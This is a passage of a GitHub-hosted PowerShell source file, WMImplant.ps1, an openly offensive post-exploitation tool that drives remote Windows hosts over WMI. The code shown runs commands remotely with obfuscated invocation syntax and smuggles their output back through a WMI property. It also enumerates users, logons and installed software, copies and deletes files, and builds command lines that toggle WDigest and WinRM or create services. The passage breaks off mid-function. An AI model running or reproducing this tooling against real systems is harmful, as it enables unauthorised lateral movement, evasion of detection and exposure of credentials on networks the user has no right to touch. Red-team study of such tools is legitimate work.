-
Notifications
You must be signed in to change notification settings - Fork 143
/
WMImplant.ps1
executable file
·3734 lines (3220 loc) · 127 KB
/
WMImplant.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<#
WMImplant v1.0
License: GPLv3
Author: @ChrisTruncer
#>
function Edit-FileWMI
{
param
(
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $True)]
[string]$ComputerName,
[Parameter(Mandatory = $False)]
[string]$FileLocation,
[Parameter(Mandatory = $False)]
[string]$CopyLocation,
[Parameter(Mandatory = $False)]
[switch]$Copy,
[Parameter(Mandatory = $False)]
[switch]$Delete
)
Process
{
if((!$Copy) -and (!$Delete))
{
Throw "You need to specify if a file is going to be copied or deleted!"
}
if($Copy)
{
if(!$FileLocation)
{
$FileLocation = Read-Host "What is the full path to the file that you would like to copy? >"
}
if(!$CopyLocation)
{
$CopyLocation = Read-Host "What is the full path to where you would like to copy the file to? >"
}
}
else
{
if(!$FileLocation)
{
$FileLocation = Read-Host "What is the full path to the file that you would like to delete? >"
}
}
# Add double slashes for File to copy
$FileLocation = $FileLocation -replace '\\', '\\'
# Make WMI Query for file to copy
if($Credential)
{
$targeted_file = Get-WMIObject -Class CIM_DataFile -Filter "Name = '$FileLocation'" -Credential $Credential -ComputerName $ComputerName
}
else
{
$targeted_file = Get-WMIObject -Class CIM_DataFile -Filter "Name = '$FileLocation'" -ComputerName $ComputerName
}
if($Copy)
{
# Copy file to copy location
$targeted_file.Copy($CopyLocation)
}
else
{
# Delete file
$targeted_file.Delete()
}
}
}
function Invoke-WMIObfuscatedPSCommand
{
param
(
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $True)]
[String]$PSCommand,
[Parameter(Mandatory = $True)]
[String]$ComputerName,
[Parameter(Mandatory = $False)]
[Switch]$ObfuscateWithEnvVar
)
Process
{
# Generate randomized and obfuscated syntax for retrieving PowerShell command from an environment variable if $ObfuscateWithEnvVar flag was defined.
if($ObfuscateWithEnvVar)
{
# Create random alphanumeric environment variable name.
$VarName = -join (Get-Random -Input ((((65..90) + (97..122) | % {[char]$_})) + (0..9)) -Count 5)
# Randomly select obfuscated syntax for invoking the contents of the randomly-named environment variable.
# More complete obfuscation options can be imported from Invoke-Obfuscation.
$DGGetChildItemSyntaxRandom = Get-Random -Input @('Get-C`hildItem','Child`Item','G`CI','DI`R','L`S')
$DGGetCommandSyntaxRandom = Get-Random -Input @('Get-C`ommand','Co`mmand','G`CM')
$DGInvokeSyntaxRandom = Get-Random -Input @('IE`X','Inv`oke-Ex`pression',".($DGGetCommandSyntaxRandom ('{1}e{0}'-f'x','i'))")
$DGEnvVarSyntax = @()
$DGEnvVarSyntax += "(" + $DGGetChildItemSyntaxRandom + " env:$VarName).Value"
$DGEnvVarSyntax += "`$env:$VarName"
$DGEnvVarSyntaxRandom = (Get-Random -Input $DGEnvVarSyntax)
$DGInvokeEnvVarSyntax = @()
$DGInvokeEnvVarSyntax += $DGInvokeSyntaxRandom + ' ' + $DGEnvVarSyntaxRandom
$DGInvokeEnvVarSyntax += $DGEnvVarSyntaxRandom + '|' + $DGInvokeSyntaxRandom
$DGInvokeEnvVarSyntaxRandom = (Get-Random -Input $DGInvokeEnvVarSyntax)
$PSCommandForCommandLine = $DGInvokeEnvVarSyntaxRandom
}
else
{
$PSCommandForCommandLine = $PSCommand
}
# Set final PowerShell command to be executed by WMI.
$ObfuscatedCommand = "powershell $PSCommandForCommandLine"
# Extract username if $Credential were specified. Otherwise use current username.
if($Credential)
{
$Username = $Credential.UserName
}
else
{
$Username = $env:USERNAME
}
# Set PowerShell command in an environment variable if $ObfuscateWithEnvVar flag was defined.
if($ObfuscateWithEnvVar)
{
if($Credential)
{
$null = Set-WmiInstance -Class Win32_Environment -Argument @{Name=$VarName;VariableValue=$PSCommand;UserName=$Username} -ComputerName $ComputerName -Credential $Credential
}
else
{
$null = Set-WmiInstance -Class Win32_Environment -Argument @{Name=$VarName;VariableValue=$PSCommand;UserName=$Username} -ComputerName $ComputerName
}
}
# Launch PowerShell command.
if($Credential)
{
$null = Invoke-WmiMethod -Class Win32_Process -EnableAllPrivileges -Impersonation 3 -Authentication Packetprivacy -Name Create -Argumentlist $ObfuscatedCommand -Credential $Credential -ComputerName $ComputerName
}
else
{
$null = Invoke-WmiMethod -Class Win32_Process -EnableAllPrivileges -Impersonation 3 -Authentication Packetprivacy -Name Create -Argumentlist $ObfuscatedCommand -ComputerName $ComputerName
}
# Delete environment variable containing PowerShell command if $ObfuscateWithEnvVar flag was defined.
if($ObfuscateWithEnvVar)
{
if($Credential)
{
$null = Get-WmiObject -Query "SELECT * FROM Win32_Environment WHERE NAME='$VarName'" -ComputerName $ComputerName -Credential $Credential | Remove-WmiObject
}
else
{
$null = Get-WmiObject -Query "SELECT * FROM Win32_Environment WHERE NAME='$VarName'" -ComputerName $ComputerName | Remove-WmiObject
}
}
<#DELETE BELOW BLOCK FOR FINAL RELEASE#>
$ShowFunFactsForPOV = $False
if($ShowFunFactsForPOV -AND $ObfuscateWithEnvVar)
{
Write-Host "`n`nHere's what just happened:" -ForegroundColor White
Write-Host "Random env var NAME :: " -NoNewLine -ForegroundColor White
Write-Host $VarName -ForegroundColor Cyan
Write-Host "Env var VALUE :: " -NoNewLine -ForegroundColor White
Write-Host $PSCommand -ForegroundColor Cyan
Write-Host "PS cmdline launcher :: " -NoNewLine -ForegroundColor White
Write-Host $ObfuscatedCommand -ForegroundColor Green
}
<#DELETE ABOVE BLOCK FOR FINAL RELEASE#>
} # End of Process Block
end{}
} # End of Function block
function Find-CurrentUsers
{
<# This function list user accounts with active processes
on the targeted system #>
param
(
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $True)]
[string]$ComputerName
)
Process
{
Write-Verbose "Connecting to $ComputerName"
$system_process_accounts = Get-WMIObject Win32_Process @PSBoundParameters | ForEach { $owner = $_.GetOwner(); '{0}\{1}' -f $owner.Domain, $owner.User } | Sort-Object | Get-Unique
foreach($user_name in $system_process_accounts)
{
if((!($user_name -Like "*NT AUTHORITY*")) -and ($user_name -ne '\'))
{
$user_name
}
}
}
}
function Find-VacantComputer
{
# This function gathers running processes on the targeted system and tries to find
# a screensaver or windows login process. It also attempts to enumerate active accounts
# on the targeted system through Win32_computersystem
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $True)]
[string]$ComputerName
)
Process
{
# Need to add in filtering here to stop if a "true" has been found for screensavers being active
Write-Verbose "Connecting to $ComputerName"
Write-Verbose "Checking for active screensaver or logon screen processes"
$all_processes = Get-ProcessListingWMImplant @PSBoundParameters
$ScreenshotActive = $all_processes | Select-String ".scr"
$LoginPrompt = $all_processes | Select-String "LogonUI.exe"
# If either returned true, we can assume the user is not active at their desktop
if ($ScreenshotActive -or $LoginPrompt)
{
Write-Output "Screensaver or Logon screen is active on $ComputerName!"
}
else
{
Write-Output "User is at present at $ComputerName!"
}
try
{
$user = Get-WmiObject -Class win32_computersystem @PSBoundParameters -ErrorAction Stop | select -ExpandProperty username
if($user)
{
Write-Output "$user has a session on $ComputerName!"
}
}
catch
{
$message = $_.Exception.Message
if($message -like '*not process argument because*')
{
Write-Output "No users appear active on $ComputerName"
}
elseif($message -like '*RPC server is unavailable*')
{
Write-Verbose "Cannot connect to $ComputerName"
}
}
}
}
function Get-ComputerDrives
{
# This function attempts to list local and network drives attached to the
# targeted system
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $True)]
[string]$ComputerName
)
Process
{
$filter = "DriveType = '4' OR DriveType = '3'"
Get-WmiObject -class win32_logicaldisk @PSBoundParameters -Filter $filter
}
end{}
}
function Get-HostInfo
{
# This function attempts to gather basic information about the targeted system
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $True)]
[string]$ComputerName
)
Process
{
try
{
$sys_info = Get-WmiObject -class win32_computersystem @PSBoundParameters -ErrorAction Stop
}
catch
{
Continue
}
if($sys_info.Name)
{
$sys_info
}
}
end{}
}
function Get-InstalledPrograms
{
# This functions retrieves applications that have been installed on the targeted system
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $True)]
[string]$ComputerName
)
Process
{
# Store data in existing WMI property, but keep original value
$Original_WMIProperty = (Get-WmiObject -Class Win32_OSRecoveryConfiguration @PSBoundParameters).DebugFilePath
Write-Verbose "Running remote command and writing to WMI property"
$remote_command = '$fct = (Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | format-list | out-string).Trim(); $fctenc=[Int[]][Char[]]$fct -Join '',''; $a = Get-WMIObject -Class Win32_OSRecoveryConfiguration; $a.DebugFilePath = $fctenc; $a.Put()'
Invoke-WMIObfuscatedPSCommand @PSBoundParameters -PSCommand $remote_command -ObfuscateWithEnvVar
# Poll remote system, and determine if the script is done
# If not, sleep and poll again
$quit = $false
while($quit -eq $false)
{
Write-Verbose "Polling property to see if the script has completed"
$modified_WMIObject = Get-WMIObject -Class Win32_OSRecoveryConfiguration @PSBoundParameters
try
{
if($Original_WMIProperty -match $modified_WMIObject.DebugFilePath)
{
Write-Verbose "Script is not done, sleeping for 5 and trying again"
Start-Sleep -s 5
}
else
{
Write-Verbose "Script is complete, pulling data now"
$quit = $true
}
}
catch
{
Write-Verbose "Script is not done, sleeping for 5 and trying again"
Start-Sleep -s 5
}
}
# This is the encoding routine which encodes data in a Device Guard compliant manner
$decode = [char[]][int[]]$modified_WMIObject.DebugFilePath.Split(',') -Join ''
# Print to console
$decode
# Replacing original WMI property value from remote system
Write-Verbose "Replacing original WMI property value from remote system"
$modified_WMIObject.DebugFilePath = $Original_WMIProperty
$null = $modified_WMIObject.Put()
Write-Verbose "Done!"
}
end{}
}
function Get-NetworkCards
{
# This function is designed to check for actie IPs on remote Systems
# and print any systems with multiple NICs
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $False)]
[string]$ComputerName
)
Process
{
$adapters = Get-WmiObject -class win32_networkadapterconfiguration @PSBoundParameters
foreach($nic in $adapters)
{
if($nic.IPAddress -ne $null)
{
$nic
}
}
}
end{}
}
function Get-ProcessListingWMImplant
{
# This function lists all running processes on the targeted system
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $False)]
[string]$ComputerName
)
Process
{
Write-Verbose "Connecting to $ComputerName"
Get-WMIObject Win32_Process @PSBoundParameters | ForEach-Object { $_.ProcessName, $_.ProcessID }
}
}
function Get-WMIEventLogins
{
<#
.DESCRIPTION
Will get remote login details from event log on remote hosts.
This can be used to find out where people are logging in from or
to find jump boxes.
.PARAMETER ComputerName
List of targets. Will accept value from pipe.
.PARAMETER User
Username to connect to remote host
.PARAMETER Pass
Password to connect to remote host
.PARAMETER FileName
Path to save output to
#>
Param
(
# Parameter Assignment
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $True)]
[string]$ComputerName,
[Parameter(Mandatory = $False)]
[string]$FileName
)
Process {
Write-Verbose "Connecting to $ComputerName"
if($Credential)
{
$results = Get-WmiObject -Credential $Credential -ComputerName $ComputerName -query "SELECT * FROM Win32_NTLogEvent WHERE (logfile='security') AND (EventCode='4624')" | where { $_.Message | Select-String "Logon Type:\s+(2|10)" | Select-String "Logon Process:\s+User32"}
}
else
{
$results = Get-WmiObject -ComputerName $ComputerName -query "SELECT * FROM Win32_NTLogEvent WHERE (logfile='security') AND (EventCode='4624')" | where { $_.Message | Select-String "Logon Type:\s+(2|10)" | Select-String "Logon Process:\s+User32"}
}
$temp2 = @()
ForEach ($line in $results)
{
$importantPart = $line.Message -split "New Logon"
$temp2 += $importantPart[1] -split '[\r\n]' | Select-String -pattern "account name:", "workstation name:", "source network address:"
}
$finalResult = @();
For($i=0; $i -lt $temp2.Count; $i+=4) {
$accountName = ([string]($temp2[$i+0])).Split(":")[1].Trim();
$workstationName = ([string]($temp2[$i+2])).Split(":")[1].Trim();
$sourceAddress = ([string]($temp2[$i+3])).Split(":")[1].Trim();
if (!($accountName.EndsWith('$')) -and ($accountName -ne '-') -and ($accountName -match '^[^0-9]+$')) {
$keyPair = "$accountName,$workstationName,$sourceAddress";
$finalResult += $keyPair
}
}
Write-Output "User Account, System Connecting To, System Connecting From"
$finalResult | Sort-Object -Unique
if($FileName)
{
$results | Out-File -Encoding ASCII -FilePath $FileName
}
}
}
function Invoke-CommandExecution
{
# This function allows you to run a command-line command on the targeted system and
# receive its output
param
(
#Parameter assignment
[Parameter(Mandatory = $False)]
[System.Management.Automation.PSCredential]$Credential,
[Parameter(Mandatory = $True)]
[string]$ComputerName,
[Parameter(Mandatory = $False)]
[string]$ExecCommand
)
Process
{
if(!$ExecCommand)
{
$ExecCommand = Read-Host "Please provide the command you'd like to run >"
}
# Get original WMI Property
if($Credential)
{
$Original_WMIProperty = (Get-WmiObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName -Credential $Credential).DebugFilePath
}
else
{
$Original_WMIProperty = (Get-WmiObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName).DebugFilePath
}
Write-Verbose "Building PowerShell command"
$remote_command = '$output = '
$remote_command += "($ExecCommand | Out-String).Trim();"
$remote_command += ' $EncodedText = [Int[]][Char[]]$output -Join '','';'
$remote_command += ' $a = Get-WmiObject -Class Win32_OSRecoveryConfiguration; $a.DebugFilePath = $EncodedText; $a.Put()'
Write-Verbose "Running command on remote system..."
if($Credential)
{
Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -Credential $Credential -ObfuscateWithEnvVar
}
else
{
Invoke-WMIObfuscatedPSCommand -PSCommand $remote_command -ComputerName $ComputerName -ObfuscateWithEnvVar
}
# Poll remote system, and determine if the script is done
# If not, sleep and poll again
$quit = $false
while($quit -eq $false)
{
Write-Verbose "Polling property to see if the script has completed"
if($Credential)
{
$modified_WMIObject = Get-WMIObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName -Credential $Credential
}
else
{
$modified_WMIObject = Get-WMIObject -Class Win32_OSRecoveryConfiguration -ComputerName $ComputerName
}
try
{
if($Original_WMIProperty -match $modified_WMIObject.DebugFilePath)
{
Write-Verbose "Script is not done, sleeping for 5 and trying again"
Start-Sleep -s 5
}
else
{
Write-Verbose "Script is complete, pulling data now"
$quit = $true
}
}
catch
{
Write-Verbose "Script is not done, sleeping for 5 and trying again"
Start-Sleep -s 5
}
}
$decode = [char[]][int[]]$modified_WMIObject.DebugFilePath.Split(',') -Join ''
# Print to console
$decode
# Replacing WMI Property
Write-Verbose "Replacing WMI Property"
$modified_WMIObject.DebugFilePath = $Original_WMIProperty
$null = $modified_WMIObject.Put()
Write-Verbose "Done!"
}
}
function Invoke-CommandGeneration
{
param
(
#Parameter assignment
[Parameter(Mandatory = $True)]
[string]$ComputerName
)
# This function generates the command line command users would run to invoke WMImplant
# in a non-interactive manner
Show-WMImplantMainMenu
# Read in user's menu choice
$GenSelection = Read-Host "What is the command you'd like to run? >"
$GenSelection = $GenSelection.Trim().ToLower()
$AnyCreds = Read-Host "Do you want to run this in the context of a different user? [yes] or [no]? >"
$AnyCreds = $AnyCreds.Trim().ToLower()
if(($AnyCreds -eq "yes") -or ($AnyCreds -eq "y"))
{
# Query user for user account and password to use
$GenUsername = Read-Host "Please provide the domain\username to use for authentication >"
$GenPassword = Read-Host "Please provide the password to use for authentication >"
}
# hashmap for command generation
$wmimplant_commands = @{"set_default" = "`nInvoke-WMImplant -SetWMIDefault";
"cat" = "`nInvoke-WMImplant -Cat -RemoteFile ";
"copy" = "`nInvoke-WMImplant -Copy -LocalFile ";
"delete" = "`nInvoke-WMImplant -Delete -LocalFile ";
"download" = "`nInvoke-WMImplant -Download ";
"ls" = "`nInvoke-WMImplant -LS -RemoteDirectory ";
"search" = "`nInvoke-WMImplant -Search ";
"upload" = "`nInvoke-WMImplant -Upload -LocalFile ";
"command_exec" = "`nInvoke-WMImplant -CommandExec -RemoteCommand ";
"disable_wdigest" = "`nInvoke-WMImplant -DisableWdigest";
"disable_winrm" = "`nInvoke-WMImplant -DisableWinRM";
"enable_wdigest" = "`nInvoke-WMImplant -EnableWdigest";
"enable_winrm" = "`nInvoke-WMImplant -EnableWinRM";
"registry_mod" = "`nInvoke-WMImplant ";
"remote_posh" = "`nInvoke-WMImplant -RemotePosh ";
"service_mod" = "`nInvoke-WMImplant ";
"process_kill" = "`nInvoke-WMImplant -ProcessKill ";
"process_start" = "`nInvoke-WMImplant -ProcessStart -RemoteFile ";
"ps" = "`nInvoke-WMImplant -PS";
"active_users" = "`nInvoke-WMImplant -ActiveUsers";
"basic_info" = "`nInvoke-WMImplant -BasicInfo";
"drive_list" = "`nInvoke-WMImplant -DriveList";
"ifconfig" = "`nInvoke-WMImplant -IFConfig";
"installed_programs" = "`nInvoke-WMImplant -InstalledPrograms";
"logon_events" = "`nInvoke-WMImplant -LogonEvents";
"logoff" = "`nInvoke-WMImplant -LogOff";
"reboot" = "`nInvoke-WMImplant -Reboot";
"poweroff" = "`nInvoke-WMImplant -PowerOff";
"vacant_system" = "`nInvoke-WMImplant -VacantSystem"
}
switch ($GenSelection)
{
"change_user"
{
Throw "This really isn't applicable unless you are using WMImplant interactively."
}
"exit"
{
Throw "This command isn't applicable unless using WMImplant interactively"
}
"gen_cli"
{
Throw "You are already generating a command!"
}
"set_default"
{
$Command = $wmimplant_commands.Get_Item("set_default")
}
"help"
{
Throw "You are already looking at the help menu!"
}
"cat"
{
$Command = $wmimplant_commands.Get_Item("cat")
$FileRead = Read-Host "What's the full path to the file you'd like to read? >"
$Command += $FileRead
}
"copy"
{
$Command = $wmimplant_commands.Get_Item("copy")
$FiletoCopy = Read-Host "What's the full path to the file you'd like to copy? >"
$CopytoLocation = Read-Host "What's the full path to where you'd like to copy the file? >"
$Command += "$FiletoCopy -RemoteFile $CopytoLocation"
}
"delete"
{
$Command = $wmimplant_commands.Get_Item("delete")
$FiletoDelete = Read-Host "What's the full path to the file you'd like to delete? >"
$Command += "$FiletoDelete"
}
"download"
{
# Determine which file you want to download, and where to save it
$GenDownload = Read-Host "What is the full path to the file you want to download? >"
$GenSavePath = Read-Host "What is the full path to where you'd like to save the file? >"
$Command = $wmimplant_commands.Get_Item("download")
$Command += "-RemoteFile $GenDownload -LocalFile $GenSavePath"
}
"ls"
{
$DirLs = Read-Host "What is the full path to the directory you want to list? >"
$Command = $wmimplant_commands.Get_Item("ls")
$Command += "$DirLs"
}
"search"
{
$SearchBy = Read-Host "Do you want to search for a file [extension] or [name]? >"
$SearchBy = $SearchBy.Trim().ToLower()
$SearchDrive = Read-Host "What drive do you want to search? Ex C: >"
$SearchDrive = $SearchDrive.Trim().ToLower()
$Command = $wmimplant_commands.Get_Item("search")
$Command += "-RemoteDrive $SearchDrive "
if($SearchBy -eq "extension")
{
$SearchExt = Read-Host "What is the file extension you are looking for? >"
$SearchExt = $SearchExt.Trim().ToLower()
$Command += "-RemoteExtension $SearchExt"
}
else
{
$SearchFile = Read-Host "What is the file name you are looking for? >"
$SearchFile = $SearchFile.Trim().ToLower()
$Command += "-RemoteFile $SearchFile"
}
}
"upload"
{
$FileToUpload = Read-Host "Please provide the full path to the local file you want to upload >"
$UploadLocation = Read-Host "Please provide the full path to the location you'd like to upload the file >"
$Command = $wmimplant_commands.Get_Item("upload")
$Command += "$FileToUpload -RemoteFile $UploadLocation"
}
"command_exec"
{
$GenCommandExec = Read-Host "What command do you want to run on the remote system? >"
$Command = $wmimplant_commands.Get_Item("command_exec")
$Command += "`"$GenCommandExec`""
}
"disable_wdigest"
{
$Command = $wmimplant_commands.Get_Item("disable_wdigest")
}
"disable_winrm"
{
$Command = $wmimplant_commands.Get_Item("disable_winrm")
}
"enable_wdigest"
{
$Command = $wmimplant_commands.Get_Item("enable_wdigest")
}
"enable_winrm"
{
$Command = $wmimplant_commands.Get_Item("enable_winrm")
}
"registry_mod"
{
$GenRegMethod = Read-Host "Do you want to [create] or [delete] a string registry value? >"
$GenRegMethod = $GenRegMethod.Trim().ToLower()
$GenRegHive = Read-Host "What hive would you like to modify? Ex: hklm >"
$GenRegKey = Read-Host "What's the registry key you'd like to modify? Ex: SOFTWARE\Microsoft\Windows >"
$GenRegValue = Read-Host "What's the registry subkey you'd like to modify? Ex: WMImplantInstalled >"
$Command = $wmimplant_commands.Get_Item("registry_mod")
switch($GenRegMethod)
{
"create"
{
$GenRegData = Read-Host "What's the data you'd like to modify? >"
$Command += "-KeyCreate -RegHive $GenRegHive -RegKey $GenRegKey -RegSubKey $GenRegValue -RegValue $GenRegData"
}
"delete"
{
$Command += "-KeyDelete -RegHive $GenRegHive -RegKey $GenRegKey -RegSubKey $GenRegValue"
}
}
}
"remote_posh"
{
$PoshLocation = Read-Host "What's the file location where the PowerShell script you want to run is located? >"
$PoshFunction = Read-Host "What's the PowerShell Function you'd like to call? >"
$Command = $wmimplant_commands.Get_Item("remote_posh")
$Command += "-Location $PoshLocation -Function $PoshFunction"
}
"service_mod"
{
$GenServiceAction = Read-Host "Do you want to [start], [stop], [create], or [delete] a service? >"
$GenServiceAction = $GenServiceAction.Trim().ToLower()
$GenServiceName = Read-Host "What is the name of the service? >"
$Command = $wmimplant_commands.Get_Item("service_mod")
$Command += "-ServiceName $GenServiceName "
switch($GenServiceAction)
{
"start"
{
$Command += "-ServiceStart "
}
"stop"
{
$Command += "-ServiceStop "
}
"delete"
{
$Command += "-ServiceDelete "
}
"create"
{
$GenServicePath = Read-Host "What's the full path to the binary that will be used by the service?"
$Command += "-ServiceCreate -RemoteFile $GenServicePath"
}
}
}
"process_kill"
{
$GenKillMethod = Read-Host "Do you want to kill a process by its [name] or [pid]? >"
$GenKillMethod = $GenKillMethod.Trim().ToLower()
$Command = $wmimplant_commands.Get_Item("process_kill")
switch($GenKillMethod)
{
"name"
{
$GenProcName = Read-Host "What's the name of the process you want to kill? >"
$Command += "-ProcessName $GenProcName"
}
"pid"
{
$GenProcID = Read-Host "What's the Process ID of the process you want to kill? >"
$Command += "-ProcessID $GenProcID"
}
}
}
"process_start"
{
$GenProcPath = Read-Host "What's the path to the binary you want to run? >"
$Command = $wmimplant_commands.Get_Item("process_start")
$Command += "$GenProcPath"
}
"ps"
{
$Command = $wmimplant_commands.Get_Item("ps")
}
"active_users"
{
$Command = $wmimplant_commands.Get_Item("active_users")
}
"basic_info"
{
$Command = $wmimplant_commands.Get_Item("basic_info")
}
"drive_list"
{
$Command = $wmimplant_commands.Get_Item("drive_list")
}
"ifconfig"
{
$Command = $wmimplant_commands.Get_Item("ifconfig")
}
"installed_programs"
{
$Command = $wmimplant_commands.Get_Item("installed_programs")
}
"logon_events"
{
$GenSaveFile = Read-Host "Do you want to save the log output to a file? [yes/no] >"
$GenSaveFile = $GenSaveFile.Trim().ToLower()
$Command = $wmimplant_commands.Get_Item("logon_events")
if($GenSaveFile -eq "yes")
{
$GenFileSave = Read-Host "What's the full path to where you'd like the output saved? >"
$GenFileSave = $GenFileSave.Trim()
$Command += " -LocalFile $GenFileSave"
}
}
"logoff"
{
$Command = $wmimplant_commands.Get_Item("logoff")
}
"reboot"
{
$Command = $wmimplant_commands.Get_Item("reboot")
}
"power_off"
{
$Command = $wmimplant_commands.Get_Item("power_off")
}
"vacant_system"
{
$Command = $wmimplant_commands.Get_Item("vacant_system")
}
default
{
Write-Output "You did not select a valid command! Please try again!"
}
} #End of switch
if($Command -ne '')
{
if(($AnyCreds -eq "yes") -or ($AnyCreds -eq "y"))
{
$Command += " -RemoteUser $GenUsername -RemotePass $GenPassword`n"
}
# See if user is reading in computers from a file
$FileInput = Read-Host "Do you want to run a WMImplant against a list of computers from a file? [yes] or [no] >"
$FileInput = $FileInput.Trim().ToLower()
if(($FileInput -ceq 'y') -or ($FileInput -ceq 'yes'))
{
$ComputerPath = Read-Host "What is the full path to the file containing a list of computers? >"
$Command = $Command.Trim()
$Command = "Get-Content $ComputerPath | $Command"
}
else
{
$Command += " -ComputerName $ComputerName"
}
# Print command
$Command
}
} #End of Function
function Invoke-ProcessPunisher
{
# This function kills a process on the targeted system via name or PID
param
(
#Parameter assignment